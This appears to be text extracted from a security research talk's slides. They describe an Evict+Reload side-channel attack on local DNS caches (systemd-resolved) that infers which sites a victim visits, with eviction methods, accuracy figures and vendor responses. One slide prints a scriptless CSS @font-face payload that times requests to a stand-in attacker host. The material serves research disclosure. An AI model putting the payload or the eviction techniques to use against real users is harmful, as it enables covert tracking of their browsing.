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body {
font-family: "DMTFont";

}

@font-face {
font-family: "DMTFont";
src: url("https://attacker.com/measurement-start"),

url("https://target-domain.com/random-value"),
url("https://attacker.com/measurement-end");

}
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DNSSEC
Average

Offset
Standard
Deviation

False
Negatives

Native ✓ 20.663 ms 1.677 ms 0.000 %
✗ 6.701 ms 1.517 ms 0.006 %

JavaScript ✓ 20.356 ms 16.871 ms 13.641 %
✗ 8.942 ms 17.487 ms 24.192 %

JS 50 Mbit/s ✓ 82.363 ms 18.041 ms 1.110 %
✗ 22.902 ms 31.044 ms 13.209 %

JS 300 Mbit/s ✓ 35.998 ms 35.368 ms 9.839 %
✗ 16.567 ms 34.029 ms 19.630 %

Scriptless ✓ 20.744 ms 17.102 ms 12.494 %
✗ 9.395 ms 18.039 ms 23.463 %
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Evict by flooding the cache with requests
Requires knowledge of cache size and eviction policy
systemd-resolved: 4096 entries, evict entry with lowest TTL first
⇒ Evict cache using maximum-TTL entries
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Problem 1: DNS response’s 2 byte length header field

We can only fit 4091 RR’s in one response

Solution: Evict some entries before, using long-TTL single requests
Problem 2: Public DNS server limits
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Receiving invalid DNS responses causes SERVFAIL or timeout
systemd-resolved retries 3 times
Afterwards: Switch to fallback DNS server

Flushes DNS cache!

Send valid response after 3 retries to stop loop
� Only 1 request necessary
� Very fast
E Specific to systemd-resolved
E Fixed in systemd 256+ for most DNS servers (EDE support)
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Primitive Availability Eviction
TimeNative JS HTML

Direct Flushing ✓ ✗ ✗ 10.987 ms
Many Requests ✓ ✓ ✓ 5.109 s
Large Response ✓ ✓ ✓ 1.387 s
Error-Based ✓ ✓ ✓ 79.1 ms
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isec.tugraz.atNative Cross-VM

Attacker: Python script inside VM

Victim: Host machine
Victim accesses random set out of 100
domains
Attacker monitors, and evicts using
error-based eviction

True Positives False Negatives
22 999 3 502

False Positives True Negatives
240 314 498

(F1 Score 92.48%)
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isec.tugraz.atJavaScript End-to-End

Setup:

Attacker running in Browser
Victim accesses random set out of
10 Domains
Attacker monitors from JavaScript,
evicts using error-based eviction
Also bypasses browser cache

Domain DNSSEC
✗ ✓

amazon.com 81.63 % 91.67 %
pornhub.com 85.71 % 80.77 %
reddit.com 86.49 % 97.78 %
wikipedia.com 95.24 % 91.67 %

Macro-average 78.89 % 82.86 %
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isec.tugraz.atDiscussion

What about DNS-over-HTTPS?

Prevents this attack in theory
Chrome: Uses /etc/resolv.conf⇒ systemd-resolved
Firefox: DoH disabled in all but 4 countries worldwide

What about other operating systems?

macOS: Possible by evicting using individual requests
Windows: Theoretically possible, no working eviction primitive yet
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systemd considers this local-only, not a security issue
Chromium sees no practical way to fix this without significant drawbacks
Firefox also sees the responsibility mostly with the resolver
Apple is planning to address the issue in a future update
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isec.tugraz.atConclusion

³ We demonstrated an Evict+Reload attack on local DNS caches
³ Our attack works native, from JavaScript or scriptless, even over VPN
³ No fixes have been deployed yet, the attack is still possible today

# hannes.weissteiner@tugraz.at

� Social: hweissi@infosec.exchange
� https://hannesweissteiner.com
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